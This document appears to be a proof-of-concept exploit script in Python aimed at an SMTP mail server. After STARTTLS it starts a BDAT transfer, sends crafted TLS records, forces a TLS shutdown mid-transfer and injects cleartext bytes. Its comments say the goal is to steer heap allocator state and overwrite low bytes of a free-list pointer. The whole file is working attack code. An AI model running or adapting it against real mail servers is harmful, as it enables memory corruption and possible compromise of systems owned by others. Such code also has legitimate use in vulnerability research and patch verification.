#!/usr/bin/env python3

import argparse
import socket
import ssl
import time


EARLY_TLS = b"\r\n\r\nA"
LAST_TLS_BY_LOWBYTE = {
    1: b"B",
    2: b"BC",
}
CLEAR_TAIL_BY_LOWBYTE = {
    1: b"C",
    2: b"D",
}


def recv_reply(sock: socket.socket) -> list[str]:
    lines: list[str] = []
    while True:
        data = b""
        while not data.endswith(b"\n"):
            chunk = sock.recv(1)
            if not chunk:
                raise RuntimeError("connection closed while reading SMTP reply")
            data += chunk
        line = data.decode("latin1", "replace").rstrip("\r\n")
        lines.append(line)
        if len(line) < 4 or line[3] != "-":
            return lines


def send_cmd(sock: socket.socket, cmd: str) -> list[str]:
    sock.sendall(cmd.encode("ascii") + b"\r\n")
    return recv_reply(sock)


def print_reply(tag: str, lines: list[str]) -> None:
    print(f"[{tag}]")
    for line in lines:
        print(line)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, required=True)
    parser.add_argument(
        "--low-byte",
        type=int,
        choices=(1, 2),
        required=True,
        help="1 = least-significant byte of bk, 2 = second least-significant byte",
    )
    parser.add_argument("--sleep-before-bdat-ms", type=int, default=0)
    args = parser.parse_args()

    last_tls = LAST_TLS_BY_LOWBYTE[args.low_byte]
    clear_tail = CLEAR_TAIL_BY_LOWBYTE[args.low_byte]
    message = EARLY_TLS + last_tls + clear_tail

    client = socket.create_connection((args.host, args.port), timeout=3)
    client.settimeout(3)

    print(f"[message_len] {len(message)}")
    print(f"[low_byte] {args.low_byte}")
    print(f"[early_tls_len] {len(EARLY_TLS)}")
    print(f"[last_tls_len] {len(last_tls)}")
    print(f"[clear_tail_len] {len(clear_tail)}")
    print(f"[message_ascii] {message!r}")

    print_reply("banner", recv_reply(client))
    print_reply("ehlo1", send_cmd(client, "EHLO first"))
    print_reply("starttls", send_cmd(client, "STARTTLS"))

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    tls = ctx.wrap_socket(client, server_hostname="poc.test", do_handshake_on_connect=True)

    print_reply("ehlo2", send_cmd(tls, "EHLO inside"))
    print_reply("mail", send_cmd(tls, "MAIL FROM:<sender@outside.test>"))
    print_reply("rcpt", send_cmd(tls, "RCPT TO:<local@local.test>"))

    if args.sleep_before_bdat_ms:
        print(f"[sleep_before_bdat_ms] {args.sleep_before_bdat_ms}")
        time.sleep(args.sleep_before_bdat_ms / 1000.0)

    # The last TLS record size drives stale lwm/hwm. Keep only one clear byte
    # after close_notify so the allocator state stays close to the hot path.
    tls.sendall(f"BDAT {len(message)} LAST\r\n".encode("ascii"))
    tls.sendall(EARLY_TLS)
    tls.sendall(last_tls)

    tls.setblocking(False)
    try:
        tls._sslobj.shutdown()  # type: ignore[attr-defined]
    except Exception as exc:
        print(f"[shutdown_exc] {exc!r}")
    tls._sslobj = None  # type: ignore[attr-defined]

    raw = socket.socket(fileno=tls.detach())
    raw.settimeout(2)

    print("[clear_tail]")
    print(repr(clear_tail))
    raw.sendall(clear_tail)

    try:
        while True:
            print_reply("reply", recv_reply(raw))
    except Exception as exc:
        print(f"[closed] {exc!r}")
    finally:
        raw.close()

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
